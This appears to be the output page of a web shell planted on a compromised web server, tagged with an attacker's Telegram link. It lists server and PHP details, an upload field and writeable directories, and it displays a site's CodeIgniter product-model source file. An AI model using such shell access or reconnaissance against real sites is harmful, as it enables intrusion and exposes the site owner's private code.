https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/iatax.com.au/public_html/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/iatax.com.au/public_html/application/models/Product_m.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Product_m extends MY_Model { 

	protected $_table_name = 'products';
	protected $_primary_key = 'id_products';
	protected $_order_by = 'id_products'; 
	private $website_product_ordering = NULL;

	function __construct() {
		parent::__construct();	
		//get website product ordering
		$this->db->select('website_product_ordering')->from('configuration')->where('id_configuration', 1);
		$this->website_product_ordering = $this->db->get()->row()->website_product_ordering;
	}

	public $rules = array(  
			array(
						'field'   => 'product_name',
						'label'   => 'Product Name',
						'rules'   => 'trim|required|callback__cek_existing_product_title'
				),
			array(
						'field'   => 'description',
						'label'   => 'Description',
						'rules'   => 'trim' 
				),   
			array(
					'field'   => 'product_status',
					'label'   => 'Product status',
					'rules'   => 'trim|required'
			),
			array(
					'field'   => 'meta_description',
					'label'   => 'meta_description',
					'rules'   => 'trim'
			),   
  );

	//ADMIN WEBSITE
	//pagination included
	function get_all_products($limit, $start) {
		$this->db->select('*');
		$this->db->from('products');
		$this->db->order_by('title', 'ASC');
		$this->db->limit($limit, $start);
		$query = $this->db->get();		
		return $query->result(); 
	}

	//pagination included
	function get_all_products_search_product($keyword) {
		$this->db->select('*');
		$this->db->from('products');
		$this->db->like('products.title', $keyword);
		$this->db->order_by('created_at', 'DESC');
		$query = $this->db->get();	
		return $query->result(); 
	}

	//function count all record for category 
	public function record_count() {
        return $this->db->get('products')->num_rows();
    }

	//function count all record for search product
	public function record_count_search_product($keyword) {
        $this->db->select('*');
		$this->db->from('products'); 
		$this->db->like('products.title', $keyword);
		$query = $this->db->get();		
		return $query->num_rows();
    }

    //function to display new product, where all fields are empty
	public function get_new() {
		$products = new stdClass();
		$products->title = '';	
		$products->product_code = '';	
		$products->id_products = '';	
		$products->product_status = '';	
		$products->description = '';
		$products->description_en = '';
		$products->image1 = '';	
		$products->product_catalog = '';	
		$products->meta_description = '';	
		return $products;
	}

	//function add new product
	function add_product($data) {
		$this->db->insert('products', $data);	
		return $this->db->insert_id();	
	}

	//function edit product
	function edit_product($id, $data) {
		$this->db->where('id_products', $id);
		$this->db->update('products', $data);	
	}


	//IS USED: count products by all
	public function count_products_all() {
		$this->db->select('*');
		$this->db->from('products');
		$this->db->where('product_status', 1);
		$query = $this->db->get();		
		return $query->num_rows();
	}

	//cek if product title already exist
	public function cek_existing_product_title($str, $product_current_id) {
		$this->db->select('id_products');
		$this->db->from('products'); 
		$this->db->where('title', $str);

		if ($product_current_id != NULL) {
			$this->db->where('id_products !=', $product_current_id);	 
		} 

		$query = $this->db->get();
		return $query->num_rows();
	}

	//function count if existing record exist
	public function count_exist($id) {
		$this->db->select('*');
		$this->db->from('products');
		$this->db->where('id_products', $id);
		$query = $this->db->get();		
		return $query->num_rows();
  }
}

https://t.me/RX1948 - 2025